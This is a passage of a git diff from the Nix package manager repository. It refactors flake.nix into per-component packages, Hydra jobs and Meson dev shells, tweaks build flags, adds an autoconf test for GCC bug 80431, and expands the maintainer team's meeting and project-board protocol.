prev.pre-commit; - propagatedBuildInputs = propagatedDeps; - - disallowedReferences = [ boost ]; - - preConfigure = - '' - # Copy libboost_context so we don't get all of Boost in our closure. - # https://github.com/NixOS/nixpkgs/issues/45462 - mkdir -p $out/lib - cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib - rm -f $out/lib/*.a - ${lib.optionalString currentStdenv.isLinux '' - chmod u+w $out/lib/*.so.* - patchelf --set-rpath $out/lib:${currentStdenv.cc.cc.lib}/lib $out/lib/libboost_thread.so.* - ''} - ${lib.optionalString currentStdenv.isDarwin '' - for LIB in $out/lib/*.dylib; do - chmod u+w $LIB - install_name_tool -id $LIB $LIB - install_name_tool -delete_rpath ${boost}/lib/ $LIB || true - done - install_name_tool -change ${boost}/lib/libboost_system.dylib $out/lib/libboost_system.dylib $out/lib/libboost_thread.dylib - ''} - ''; - - configureFlags = configureFlags ++ - [ "--sysconfdir=/etc" ]; - - enableParallelBuilding = true; - - makeFlags = "profiledir=$(out)/etc/profile.d PRECOMPILE_HEADERS=1"; - - doCheck = true; - - installFlags = "sysconfdir=$(out)/etc"; - - postInstall = '' - mkdir -p $doc/nix-support - echo "doc manual $doc/share/doc/nix/manual" >> $doc/nix-support/hydra-build-products - ${lib.optionalString currentStdenv.isDarwin '' - install_name_tool \ - -change ${boost}/lib/libboost_context.dylib \ - $out/lib/libboost_context.dylib \ - $out/lib/libnixutil.dylib - ''} - ''; - - doInstallCheck = true; - installCheckFlags = "sysconfdir=$(out)/etc"; - - separateDebugInfo = true; - - strictDeps = true; - - passthru.perl-bindings = with final; perl.pkgs.toPerlModule (currentStdenv.mkDerivation { - name = "nix-perl-${version}"; - - src = self; - - nativeBuildInputs = - [ buildPackages.autoconf-archive - buildPackages.autoreconfHook - buildPackages.pkg-config - ]; - - buildInputs = - [ nix - (curl.override { patchNetrcRegression = true; }) - bzip2 - xz - pkgs.perl - boost - ] - ++ lib.optional (currentStdenv.isLinux || currentStdenv.isDarwin) libsodium - ++ lib.optional currentStdenv.isDarwin darwin.apple_sdk.frameworks.Security; - - configureFlags = [ - "--with-dbi=${perlPackages.DBI}/${pkgs.perl.libPrefix}" - "--with-dbd-sqlite=${perlPackages.DBDSQLite}/${pkgs.perl.libPrefix}" - ]; - - enableParallelBuilding = true; - - postUnpack = "sourceRoot=$sourceRoot/perl"; - }); - - meta.platforms = systems; - }; - - lowdown-nix = with final; currentStdenv.mkDerivation rec { - name = "lowdown-0.9.0"; - - src = lowdown-src; - - outputs = [ "out" "bin" "dev" ]; - - nativeBuildInputs = [ buildPackages.which ]; - - configurePhase = '' - ${if (currentStdenv.isDarwin && currentStdenv.isAarch64) then "echo \"HAVE_SANDBOX_INIT=false\" > configure.local" else ""} - ./configure \ - PREFIX=${placeholder "dev"} \ - BINDIR=${placeholder "bin"}/bin - ''; - }; }; in { - # A Nixpkgs overlay that overrides the 'nix' and - # 'nix.perl-bindings' packages. + # 'nix-perl-bindings' packages. overlays.default = overlayFor (p: p.stdenv); - hydraJobs = { - - # Binary package for various platforms. - build = nixpkgs.lib.genAttrs systems (system: self.packages.${system}.nix); - - buildStatic = nixpkgs.lib.genAttrs linux64BitSystems (system: self.packages.${system}.nix-static); - - buildCross = nixpkgs.lib.genAttrs crossSystems (crossSystem: - nixpkgs.lib.genAttrs ["x86_64-linux"] (system: self.packages.${system}."nix-${crossSystem}")); - - buildNoGc = nixpkgs.lib.genAttrs systems (system: self.packages.${system}.nix.overrideAttrs (a: { configureFlags = (a.configureFlags or []) ++ ["--enable-gc=no"];})); - - # Perl bindings for various platforms. - perlBindings = nixpkgs.lib.genAttrs systems (system: self.packages.${system}.nix.perl-bindings); - - # Binary tarball for various platforms, containing a Nix store - # with the closure of 'nix' package, and the second half of - # the installation script. - binaryTarball = nixpkgs.lib.genAttrs systems (system: binaryTarball nixpkgsFor.${system} nixpkgsFor.${system}.nix nixpkgsFor.${system}); - - binaryTarballCross = nixpkgs.lib.genAttrs ["x86_64-linux"] (system: builtins.listToAttrs (map (crossSystem: { - name = crossSystem; - value = let - nixpkgsCross = import nixpkgs { - inherit system crossSystem; - overlays = [ self.overlays.default ]; - }; - in binaryTarball nixpkgsFor.${system} self.packages.${system}."nix-${crossSystem}" nixpkgsCross; - }) crossSystems)); - - # The first half of the installation script. This is uploaded - # to https://nixos.org/nix/install. It downloads the binary - # tarball for the user's system and calls the second half of the - # installation script. - installerScript = installScriptFor [ "x86_64-linux" "i686-linux" "aarch64-linux" "x86_64-darwin" "aarch64-darwin" "armv6l-linux" "armv7l-linux" ]; - installerScriptForGHA = installScriptFor [ "x86_64-linux" "x86_64-darwin" "armv6l-linux" "armv7l-linux"]; - - # docker image with Nix inside - dockerImage = nixpkgs.lib.genAttrs linux64BitSystems (system: self.packages.${system}.dockerImage); - - # Line coverage analysis. - coverage = - with nixpkgsFor.x86_64-linux; - with commonDeps { inherit pkgs; }; - - releaseTools.coverageAnalysis { - name = "nix-coverage-${version}"; - - src = self; - - enableParallelBuilding = true; - - nativeBuildInputs = nativeBuildDeps; - buildInputs = buildDeps ++ propagatedDeps ++ awsDeps; - - dontInstall = false; - - doInstallCheck = true; - - lcovFilter = [ "*/boost/*" "*-tab.*" ]; - - # We call `dot', and even though we just use it to - # syntax-check generated dot files, it still requires some - # fonts. So provide those. - FONTCONFIG_FILE = texFunctions.fontsConf; - }; - - # System tests. - tests.remoteBuilds = import ./tests/remote-builds.nix { - system = "x86_64-linux"; - inherit nixpkgs; - overlay = self.overlays.default; - }; - - tests.nix-copy-closure = import ./tests/nix-copy-closure.nix { - system = "x86_64-linux"; - inherit nixpkgs; - overlay = self.overlays.default; - }; - - tests.nssPreload = (import ./tests/nss-preload.nix rec { - system = "x86_64-linux"; - inherit nixpkgs; - overlay = self.overlays.default; - }); - - tests.githubFlakes = (import ./tests/github-flakes.nix rec { - system = "x86_64-linux"; - inherit nixpkgs; - overlay = self.overlays.default; - }); - - tests.sourcehutFlakes = (import ./tests/sourcehut-flakes.nix rec { - system = "x86_64-linux"; - inherit nixpkgs; - overlay = self.overlays.default; - }); - - tests.containers = (import ./tests/containers.nix rec { - system = "x86_64-linux"; - inherit nixpkgs; - overlay = self.overlays.default; - }); - - tests.setuid = nixpkgs.lib.genAttrs - ["i686-linux" "x86_64-linux"] - (system: - import ./tests/setuid.nix rec { - inherit nixpkgs system; - overlay = self.overlays.default; - }); - - # Make sure that nix-env still produces the exact same result - # on a particular version of Nixpkgs. - tests.evalNixpkgs = - with nixpkgsFor.x86_64-linux; - runCommand "eval-nixos" { buildInputs = [ nix ]; } - '' - type -p nix-env - # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593. - time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages - [[ $(sha1sum < packages | cut -c1-40) = ff451c521e61e4fe72bdbe2d0ca5d1809affa733 ]] - mkdir $out - ''; - - metrics.nixpkgs = import "${nixpkgs-regression}/pkgs/top-level/metrics.nix" { - pkgs = nixpkgsFor.x86_64-linux; - nixpkgs = nixpkgs-regression; - }; - - installTests = forAllSystems (system: - let pkgs = nixpkgsFor.${system}; in - pkgs.runCommand "install-tests" { - againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix; - againstCurrentUnstable = - # FIXME: temporarily disable this on macOS because of #3605. - if system == "x86_64-linux" - then testNixVersions pkgs pkgs.nix pkgs.nixUnstable - else null; - # Disabled because the latest stable version doesn't handle - # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work - # againstLatestStable = testNixVersions pkgs pkgs.nix pkgs.nixStable; - } "touch $out"); - - installerTests = import ./tests/installer { - binaryTarballs = self.hydraJobs.binaryTarball; - inherit nixpkgsFor; - }; - + hydraJobs = import ./packaging/hydra.nix { + inherit + inputs + binaryTarball + forAllCrossSystems + forAllSystems + lib + linux64BitSystems + nixpkgsFor + self + officialRelease + ; }; checks = forAllSystems (system: { binaryTarball = self.hydraJobs.binaryTarball.${system}; - perlBindings = self.hydraJobs.perlBindings.${system}; installTests = self.hydraJobs.installTests.${system}; - } // (nixpkgs.lib.optionalAttrs (builtins.elem system linux64BitSystems)) { + nixpkgsLibTests = self.hydraJobs.tests.nixpkgsLibTests.${system}; + rl-next = + let pkgs = nixpkgsFor.${system}.native; + in pkgs.buildPackages.runCommand "test-rl-next-release-notes" { } '' + LANG=C.UTF-8 ${pkgs.changelog-d}/bin/changelog-d ${./doc/manual/rl-next} >$out + ''; + repl-completion = nixpkgsFor.${system}.native.callPackage ./tests/repl-completion.nix { }; + } // (lib.optionalAttrs (builtins.elem system linux64BitSystems)) { dockerImage = self.hydraJobs.dockerImage.${system}; - }); + } // (lib.optionalAttrs (!(builtins.elem system linux32BitSystems))) { + # Some perl dependencies are broken on i686-linux. + # Since the support is only best-effort there, disable the perl + # bindings - packages = forAllSystems (system: rec { - inherit (nixpkgsFor.${system}) nix; - default = nix; - } // (nixpkgs.lib.optionalAttrs (builtins.elem system linux64BitSystems) { - nix-static = let - nixpkgs = nixpkgsFor.${system}.pkgsStatic; - in with commonDeps { pkgs = nixpkgs; isStatic = true; }; nixpkgs.stdenv.mkDerivation { - name = "nix-${version}"; + # Temporarily disabled because GitHub Actions OOM issues. Once + # the old build system is gone and we are back to one build + # system, we should reenable this. + #perlBindings = self.hydraJobs.perlBindings.${system}; + } + # Add "passthru" tests + // flatMapAttrs ({ + "" = nixpkgsFor.${system}.native; + } // lib.optionalAttrs (! nixpkgsFor.${system}.native.stdenv.hostPlatform.isDarwin) { + # TODO: enable static builds for darwin, blocked on: + # https://github.com/NixOS/nixpkgs/issues/320448 + "static-" = nixpkgsFor.${system}.static; + }) + (nixpkgsPrefix: nixpkgs: + flatMapAttrs nixpkgs.nixComponents + (pkgName: pkg: + flatMapAttrs pkg.tests or {} + (testName: test: { + "${nixpkgsPrefix}${pkgName}-${testName}" = test; + }) + ) + // lib.optionalAttrs (nixpkgs.stdenv.hostPlatform == nixpkgs.stdenv.buildPlatform) { + "${nixpkgsPrefix}nix-functional-tests" = nixpkgs.nixComponents.nix-functional-tests; + } + ) + // devFlake.checks.${system} or {} + ); - src = self; + packages = forAllSystems (system: + { # Here we put attributes that map 1:1 into packages., ie + # for which we don't apply the full build matrix such as cross or static. + inherit (nixpkgsFor.${system}.native) + changelog-d; + default = self.packages.${system}.nix-ng; + nix-internal-api-docs = nixpkgsFor.${system}.native.nixComponents.nix-internal-api-docs; + nix-external-api-docs = nixpkgsFor.${system}.native.nixComponents.nix-external-api-docs; + } + # We need to flatten recursive attribute sets of derivations to pass `flake check`. + // flatMapAttrs + { # Components we'll iterate over in the upcoming lambda + "nix" = { }; + "nix-util" = { }; + "nix-util-c" = { }; + "nix-util-test-support" = { }; + "nix-util-tests" = { }; - VERSION_SUFFIX = versionSuffix; + "nix-store" = { }; + "nix-store-c" = { }; + "nix-store-test-support" = { }; + "nix-store-tests" = { }; - outputs = [ "out" "dev" "doc" ]; + "nix-fetchers" = { }; + "nix-fetchers-tests" = { }; - nativeBuildInputs = nativeBuildDeps; - buildInputs = buildDeps ++ propagatedDeps; + "nix-expr" = { }; + "nix-expr-c" = { }; + "nix-expr-test-support" = { }; + "nix-expr-tests" = { }; - # Work around pkgsStatic disabling all tests. - # Remove in NixOS 22.11, see https://github.com/NixOS/nixpkgs/pull/140271. - preHook = - '' - doCheck=1 - doInstallCheck=1 - ''; + "nix-flake" = { }; + "nix-flake-tests" = { }; - configureFlags = - configureFlags ++ - [ "--sysconfdir=/etc" - "--enable-embedded-sandbox-shell" - ]; + "nix-main" = { }; + "nix-main-c" = { }; - enableParallelBuilding = true; + "nix-cmd" = { }; - makeFlags = "profiledir=$(out)/etc/profile.d"; + "nix-cli" = { }; - installFlags = "sysconfdir=$(out)/etc"; - - postInstall = '' - mkdir -p $doc/nix-support - echo "doc manual $doc/share/doc/nix/manual" >> $doc/nix-support/hydra-build-products - mkdir -p $out/nix-support - echo "file binary-dist $out/bin/nix" >> $out/nix-support/hydra-build-products - ''; - - installCheckFlags = "sysconfdir=$(out)/etc"; - - stripAllList = ["bin"]; - - strictDeps = true; - - hardeningDisable = [ "pie" ]; - }; + "nix-functional-tests" = { supportsCross = false; }; + "nix-perl-bindings" = { supportsCross = false; }; + "nix-ng" = { }; + } + (pkgName: { supportsCross ? true }: { + # These attributes go right into `packages.`. + "${pkgName}" = nixpkgsFor.${system}.native.nixComponents.${pkgName}; + "${pkgName}-static" = nixpkgsFor.${system}.static.nixComponents.${pkgName}; + } + // lib.optionalAttrs supportsCross (flatMapAttrs (lib.genAttrs crossSystems (_: { })) (crossSystem: {}: { + # These attributes go right into `packages.`. + "${pkgName}-${crossSystem}" = nixpkgsFor.${system}.cross.${crossSystem}.nixComponents.${pkgName}; + })) + // flatMapAttrs (lib.genAttrs stdenvs (_: { })) (stdenvName: {}: { + # These attributes go right into `packages.`. + "${pkgName}-${stdenvName}" = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".nixComponents.${pkgName}; + }) + ) + // lib.optionalAttrs (builtins.elem system linux64BitSystems) { dockerImage = let - pkgs = nixpkgsFor.${system}; - image = import ./docker.nix { inherit pkgs; tag = version; }; + pkgs = nixpkgsFor.${system}.native; + image = import ./docker.nix { inherit pkgs; tag = pkgs.nix.version; }; in pkgs.runCommand - "docker-image-tarball-${version}" + "docker-image-tarball-${pkgs.nix.version}" { meta.description = "Docker image with Nix for ${system}"; } '' mkdir -p $out/nix-support @@ -637,86 +287,110 @@ ln -s ${image} $image echo "file binary-dist $image" >> $out/nix-support/hydra-build-products ''; - } + }); - // builtins.listToAttrs (map (crossSystem: { - name = "nix-${crossSystem}"; - value = let - nixpkgsCross = import nixpkgs { - inherit system crossSystem; - overlays = [ self.overlays.default ]; - }; - in with commonDeps { pkgs = nixpkgsCross; }; nixpkgsCross.stdenv.mkDerivation { - name = "nix-${version}"; + devShells = let + makeShell = pkgs: stdenv: (pkgs.nix.override { inherit stdenv; forDevShell = true; }).overrideAttrs (attrs: + let + modular = devFlake.getSystem stdenv.buildPlatform.system; + transformFlag = prefix: flag: + assert builtins.isString flag; + let + rest = builtins.substring 2 (builtins.stringLength flag) flag; + in + "-D${prefix}:${rest}"; + havePerl = stdenv.buildPlatform == stdenv.hostPlatform && stdenv.hostPlatform.isUnix; + ignoreCrossFile = flags: builtins.filter (flag: !(lib.strings.hasInfix "cross-file" flag)) flags; + in { + pname = "shell-for-" + attrs.pname; - src = self; - - VERSION_SUFFIX = versionSuffix; - - outputs = [ "out" "dev" "doc" ]; - - nativeBuildInputs = nativeBuildDeps; - buildInputs = buildDeps ++ propagatedDeps; - - configureFlags = [ "--sysconfdir=/etc" "--disable-doc-gen" ]; - - enableParallelBuilding = true; - - makeFlags = "profiledir=$(out)/etc/profile.d"; - - doCheck = true; + # Remove the version suffix to avoid unnecessary attempts to substitute in nix develop + version = lib.fileContents ./.version; + name = attrs.pname; installFlags = "sysconfdir=$(out)/etc"; + shellHook = '' + PATH=$prefix/bin:$PATH + unset PYTHONPATH + export MANPATH=$out/share/man:$MANPATH - postInstall = '' - mkdir -p $doc/nix-support - echo "doc manual $doc/share/doc/nix/manual" >> $doc/nix-support/hydra-build-products - mkdir -p $out/nix-support - echo "file binary-dist $out/bin/nix" >> $out/nix-support/hydra-build-products + # Make bash completion work. + XDG_DATA_DIRS+=:$out/share ''; - doInstallCheck = true; - installCheckFlags = "sysconfdir=$(out)/etc"; - }; - }) (if system == "x86_64-linux" then crossSystems else []))) + # We use this shell with the local checkout, not unpackPhase. + src = null; - // (builtins.listToAttrs (map (stdenvName: - nixpkgsFor.${system}.lib.nameValuePair - "nix-${stdenvName}" - nixpkgsFor.${system}."${stdenvName}Packages".nix - ) stdenvs))); + env = { + # Needed for Meson to find Boost. + # https://github.com/NixOS/nixpkgs/issues/86131. + BOOST_INCLUDEDIR = "${lib.getDev pkgs.nixDependencies.boost}/include"; + BOOST_LIBRARYDIR = "${lib.getLib pkgs.nixDependencies.boost}/lib"; + # For `make format`, to work without installing pre-commit + _NIX_PRE_COMMIT_HOOKS_CONFIG = + "${(pkgs.formats.yaml { }).generate "pre-commit-config.yaml" modular.pre-commit.settings.rawConfig}"; + }; - devShells = forAllSystems (system: - forAllStdenvs (stdenv: - with nixpkgsFor.${system}; - with commonDeps { inherit pkgs; }; - nixpkgsFor.${system}.${stdenv}.mkDerivation { - name = "nix"; + mesonFlags = + map (transformFlag "libutil") (ignoreCrossFile pkgs.nixComponents.nix-util.mesonFlags) + ++ map (transformFlag "libstore") (ignoreCrossFile pkgs.nixComponents.nix-store.mesonFlags) + ++ map (transformFlag "libfetchers") (ignoreCrossFile pkgs.nixComponents.nix-fetchers.mesonFlags) + ++ lib.optionals havePerl (map (transformFlag "perl") (ignoreCrossFile pkgs.nixComponents.nix-perl-bindings.mesonFlags)) + ++ map (transformFlag "libexpr") (ignoreCrossFile pkgs.nixComponents.nix-expr.mesonFlags) + ++ map (transformFlag "libcmd") (ignoreCrossFile pkgs.nixComponents.nix-cmd.mesonFlags) + ; - outputs = [ "out" "dev" "doc" ]; - - nativeBuildInputs = nativeBuildDeps; - buildInputs = buildDeps ++ propagatedDeps ++ awsDeps; - - inherit configureFlags; - - enableParallelBuilding = true; - - installFlags = "sysconfdir=$(out)/etc"; - - shellHook = - '' - PATH=$prefix/bin:$PATH - unset PYTHONPATH - export MANPATH=$out/share/man:$MANPATH - - # Make bash completion work. - XDG_DATA_DIRS+=:$out/share - ''; - } - ) - // { default = self.devShells.${system}.stdenv; } - ); + nativeBuildInputs = attrs.nativeBuildInputs or [] + ++ pkgs.nixComponents.nix-util.nativeBuildInputs + ++ pkgs.nixComponents.nix-store.nativeBuildInputs + ++ pkgs.nixComponents.nix-fetchers.nativeBuildInputs + ++ lib.optionals havePerl pkgs.nixComponents.nix-perl-bindings.nativeBuildInputs + ++ pkgs.nixComponents.nix-internal-api-docs.nativeBuildInputs + ++ pkgs.nixComponents.nix-external-api-docs.nativeBuildInputs + ++ pkgs.nixComponents.nix-functional-tests.baseNativeBuildInputs + ++ lib.optional + (!stdenv.buildPlatform.canExecute stdenv.hostPlatform + # Hack around https://github.com/nixos/nixpkgs/commit/bf7ad8cfbfa102a90463433e2c5027573b462479 + && !(stdenv.hostPlatform.isWindows && stdenv.buildPlatform.isDarwin) + && stdenv.hostPlatform.emulatorAvailable pkgs.buildPackages + && lib.meta.availableOn stdenv.buildPlatform (stdenv.hostPlatform.emulator pkgs.buildPackages)) + pkgs.buildPackages.mesonEmulatorHook + ++ [ + pkgs.buildPackages.cmake + pkgs.buildPackages.shellcheck + pkgs.buildPackages.changelog-d + modular.pre-commit.settings.package + (pkgs.writeScriptBin "pre-commit-hooks-install" + modular.pre-commit.settings.installationScript) + ] + # TODO: Remove the darwin check once + # https://github.com/NixOS/nixpkgs/pull/291814 is available + ++ lib.optional (stdenv.cc.isClang && !stdenv.buildPlatform.isDarwin) pkgs.buildPackages.bear + ++ lib.optional (stdenv.cc.isClang && stdenv.hostPlatform == stdenv.buildPlatform) pkgs.buildPackages.clang-tools; + buildInputs = attrs.buildInputs or [] + ++ [ + pkgs.gtest + pkgs.rapidcheck + ] + ++ lib.optional havePerl pkgs.perl + ; + }); + in + forAllSystems (system: + let + makeShells = prefix: pkgs: + lib.mapAttrs' + (k: v: lib.nameValuePair "${prefix}-${k}" v) + (forAllStdenvs (stdenvName: makeShell pkgs pkgs.${stdenvName})); + in + (makeShells "native" nixpkgsFor.${system}.native) // + (lib.optionalAttrs (!nixpkgsFor.${system}.native.stdenv.isDarwin) + (makeShells "static" nixpkgsFor.${system}.static) // + (forAllCrossSystems (crossSystem: let pkgs = nixpkgsFor.${system}.cross.${crossSystem}; in makeShell pkgs pkgs.stdenv))) // + { + default = self.devShells.${system}.native-stdenvPackages; + } + ); }; } diff --git a/local.mk b/local.mk index 6a7074e8e..b27c7031e 100644 --- a/local.mk +++ b/local.mk @@ -1,10 +1,15 @@ -clean-files += Makefile.config +GLOBAL_CXXFLAGS += -Wno-deprecated-declarations -Werror=switch +# Allow switch-enum to be overridden for files that do not support it, usually because of dependency headers. +ERROR_SWITCH_ENUM = -Werror=switch-enum -GLOBAL_CXXFLAGS += -Wno-deprecated-declarations - -$(foreach i, config.h $(wildcard src/lib*/*.hh), \ +$(foreach i, config.h $(wildcard src/lib*/*.hh) $(filter-out %_internal.h, $(wildcard src/lib*c/*.h)), \ $(eval $(call install-file-in, $(i), $(includedir)/nix, 0644))) +ifdef HOST_UNIX + $(foreach i, $(wildcard src/lib*/unix/*.hh), \ + $(eval $(call install-file-in, $(i), $(includedir)/nix, 0644))) +endif + $(GCH): src/libutil/util.hh config.h -GCH_CXXFLAGS = -I src/libutil +GCH_CXXFLAGS = $(INCLUDE_libutil) diff --git a/m4/gcc_bug_80431.m4 b/m4/gcc_bug_80431.m4 new file mode 100644 index 000000000..cdc4ddb40 --- /dev/null +++ b/m4/gcc_bug_80431.m4 @@ -0,0 +1,66 @@ +# Ensure that this bug is not present in the C++ toolchain we are using. +# +# URL for bug: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=80431 +# +# The test program is from that issue, with only a slight modification +# to set an exit status instead of printing strings. +AC_DEFUN([ENSURE_NO_GCC_BUG_80431], +[ + AC_MSG_CHECKING([that GCC bug 80431 is fixed]) + AC_LANG_PUSH(C++) + AC_RUN_IFELSE( + [AC_LANG_PROGRAM( + [[ + #include + + static bool a = true; + static bool b = true; + + struct Options { }; + + struct Option + { + Option(Options * options) + { + a = false; + } + + ~Option() + { + b = false; + } + }; + + struct MyOptions : Options { }; + + struct MyOptions2 : virtual MyOptions + { + Option foo{this}; + }; + ]], + [[ + { + MyOptions2 opts; + } + return (a << 1) | b; + ]])], + [status_80431=0], + [status_80431=$?], + [status_80431='']) + AC_LANG_POP(C++) + AS_CASE([$status_80431], + [''],[ + AC_MSG_RESULT(cannot check because cross compiling) + AC_MSG_NOTICE(assume we are bug free) + ], + [0],[ + AC_MSG_RESULT(yes) + ], + [2],[ + AC_MSG_RESULT(no) + AC_MSG_ERROR(Cannot build Nix with C++ compiler with this bug) + ], + [ + AC_MSG_RESULT(unexpected result $status_80431: not expected failure with bug, ignoring) + ]) +]) diff --git a/maintainers/README.md b/maintainers/README.md index 60768db0a..b92833497 100644 --- a/maintainers/README.md +++ b/maintainers/README.md @@ -2,64 +2,144 @@ ## Motivation -The goal of the team is to help other people to contribute to Nix. +The team's main responsibility is to guide and direct the development of Nix and ensure that the code is in good shape. + +We aim to achieve this by improving the contributor experience and attracting more maintainers – that is, by helping other people contributing to Nix and eventually taking responsibility – in order to scale the development process to match users' needs. + +### Objectives + +- It is obvious what is worthwhile to work on. +- It is easy to find the right place in the code to make a change. +- It is clear what is expected of a pull request. +- It is predictable how to get a change merged and released. + +### Tasks + +- Establish, communicate, and maintain a technical roadmap +- Improve documentation targeted at contributors + - Record architecture and design decisions + - Elaborate contribution guides and abide to them + - Define and assert quality criteria for contributions +- Maintain the issue tracker and triage pull requests +- Help contributors succeed with pull requests that address roadmap milestones +- Manage the release lifecycle +- Regularly publish reports on work done +- Engage with third parties in the interest of the project +- Ensure the required maintainer capacity for all of the above ## Members - Eelco Dolstra (@edolstra) – Team lead -- Théophane Hufschmitt (@thufschmitt) - Valentin Gagarin (@fricklerhandwerk) - Thomas Bereknyei (@tomberek) - Robert Hensing (@roberth) +- John Ericson (@Ericson2314) + +The team is on Github as [@NixOS/nix-team](https://github.com/orgs/NixOS/teams/nix-team). ## Meeting protocol -The team meets twice a week: +The team meets twice a week (times are denoted in the [Europe/Amsterdam](https://en.m.wikipedia.org/wiki/Time_in_the_Netherlands) time zone): -- Discussion meeting: [Fridays 13:00-14:00 CET](https://calendar.google.com/calendar/event?eid=MHNtOGVuNWtrZXNpZHR2bW1sM3QyN2ZjaGNfMjAyMjExMjVUMTIwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn) +- Discussion meeting: [Wednesday 21:00-22:00 Europe/Amsterdam](https://www.google.com/calendar/event?eid=ZG5rZzNyajRjajducGV2NGY5aGkzYWIwdnJfMjAyNDA1MDhUMTkwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn) - 1. Triage issues and pull requests from the _No Status_ column (30 min) - 2. Discuss issues and pull requests from the _To discuss_ column (30 min) + 1. Triage issues and pull requests from the [No Status](#no-status) column (30 min) + 2. Discuss issues and pull requests from the [To discuss](#to-discuss) column (30 min). + Once a month, each team member checks the [Assigned](#assigned) column for prs/issues assigned to them, to either + - unblock it by providing input + - mark it as draft if it is blocked on the contributor + - escalate it back to the team by moving it to To discuss, and leaving a comment as to why the issue needs to be discussed again. -- Work meeting: [Mondays 13:00-15:00 CET](https://calendar.google.com/calendar/event?eid=NTM1MG1wNGJnOGpmOTZhYms3bTB1bnY5cWxfMjAyMjExMjFUMTIwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn) +- Work meeting: [Mondays 14:00-16:00 Europe/Amsterdam](https://www.google.com/calendar/event?eid=Ym52NDdzYnRic2NzcDcybjZiNDhpNzhpa3NfMjAyNDA1MTNUMTIwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn) - 1. Code review on pull requests from _In review_. + 1. Code review on pull requests from [In review](#in-review). 2. Other chores and tasks. -Meeting notes are collected on a [collaborative scratchpad](https://pad.lassul.us/Cv7FpYx-Ri-4VjUykQOLAw), and published on Discourse under the [Nix category](https://discourse.nixos.org/c/dev/nix/50). +Meeting notes are collected on a [collaborative scratchpad](https://pad.lassul.us/Cv7FpYx-Ri-4VjUykQOLAw). +Notes on issues and pull requests are posted as comments and linked from the meeting notes, so they are can be found from both places. +[All meeting notes](https://discourse.nixos.org/search?expanded=true&q=Nix%20team%20meeting%20minutes%20%23%20%23dev%3Anix%20in%3Atitle%20order%3Alatest_topic) are published on Discourse under the [Nix category](https://discourse.nixos.org/c/dev/nix/50). + +Team meetings are generally open to anyone interested. +We can make exceptions to discuss sensitive issues, such as security incidents or people matters. +Contact any team member to get a calendar invite for reminders and updates. ## Project board protocol The team uses a [GitHub project board](https://github.com/orgs/NixOS/projects/19/views/1) for tracking its work. -Issues on the board progress through the following states: +Items on the board progress through the following states: -- No Status +### No Status - Team members can add pull requests or issues to discuss or review together. +During the discussion meeting, the team triages new items. +To be considered, issues and pull requests must have a high-level description to provide the whole team with the necessary context at a glance. - During the discussion meeting, the team triages new items. - If there is disagreement on the general idea behind an issue or pull request, it is moved to _To discuss_, otherwise to _In review_. +On every meeting, at least one item from each of the following categories is inspected: -- To discuss +1. [critical](https://github.com/NixOS/nix/labels/critical) +2. [security](https://github.com/NixOS/nix/labels/security) +3. [regression](https://github.com/NixOS/nix/labels/regression) +4. [bug](https://github.com/NixOS/nix/issues?q=is%3Aopen+label%3Abug+sort%3Areactions-%2B1-desc) +5. [tests of existing functionality](https://github.com/NixOS/nix/issues?q=is%3Aopen+label%3Atests+-label%3Afeature+sort%3Areactions-%2B1-desc) - Pull requests and issues that are important and controversial are discussed by the team during discussion meetings. +- [oldest pull requests](https://github.com/NixOS/nix/pulls?q=is%3Apr+is%3Aopen+sort%3Acreated-asc) +- [most popular pull requests](https://github.com/NixOS/nix/pulls?q=is%3Apr+is%3Aopen+sort%3Areactions-%2B1-desc) +- [oldest issues](https://github.com/NixOS/nix/issues?q=is%3Aissue+is%3Aopen+sort%3Acreated-asc) +- [most popular issues](https://github.com/NixOS/nix/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc) - This may be where the merit of the change itself or the implementation strategy is contested by a team member. +Team members can also add pull requests or issues they would like the whole team to consider. +To ensure process quality and reliability, all non-trivial pull requests must be triaged before merging. -- In review +If there is disagreement on the general idea behind an issue or pull request, it is moved to [To discuss](#to-discuss). +Otherwise, the issue or pull request in questions get the label [`idea approved`](https://github.com/NixOS/nix/labels/idea%20approved). +For issues this means that an implementation is welcome and will be prioritised for review. +For pull requests this means that: +- Unfinished work is encouraged to be continued. +- A reviewer is assigned to take responsibility for getting the pull request merged. + The item is moved to the [Assigned](#assigned) column. +- If needed, the team can decide to do a collarorative review. + Then the item is moved to the [In review](#in-review) column, and review session is scheduled. - Pull requests in this column are reviewed together during work meetings. - This is both for spreading implementation knowledge and for establishing common values in code reviews. +What constitutes a trivial pull request is up to maintainers' judgement. - When the overall direction is agreed upon, even when further changes are required, the pull request is assigned to one team member. +### To discuss -- Assigned for merging +Pull requests and issues that are deemed important and controversial are discussed by the team during discussion meetings. - One team member is assigned to each of these pull requests. - They will communicate with the authors, and make the final approval once all remaining issues are addressed. +This may be where the merit of the change itself or the implementation strategy is contested by a team member. +Whenever the discussion opens up questions about the process or this team's goals, this may indicate that the change is too large in scope. +In that case it is taken off the board to be reconsidered by the author or broken down into smaller pieces that are less far-reaching and can be reviewed independently. - If more substantive issues arise, the assignee can move the pull request back to _To discuss_ to involve the team again. +As a general guideline, the order of items to discuss is determined as follows: + +- Prioritise pull requests over issues + + Contributors who took the time to implement concrete change proposals should not wait indefinitely. + +- Prioritise fixing bugs and testing over documentation, improvements or new features + + The team values stability and accessibility higher than raw functionality. + +- Interleave issues and PRs + + This way issues without attempts at a solution get a chance to get addressed. + +### In review + +Pull requests in this column are reviewed together during work meetings. +This is both for spreading implementation knowledge and for establishing common values in code reviews. + +When the overall direction is agreed upon, even when further changes are required, the pull request is assigned to one team member. +If significant changes are requested or reviewers cannot come to a conclusion in reasonable time, the pull request is [marked as 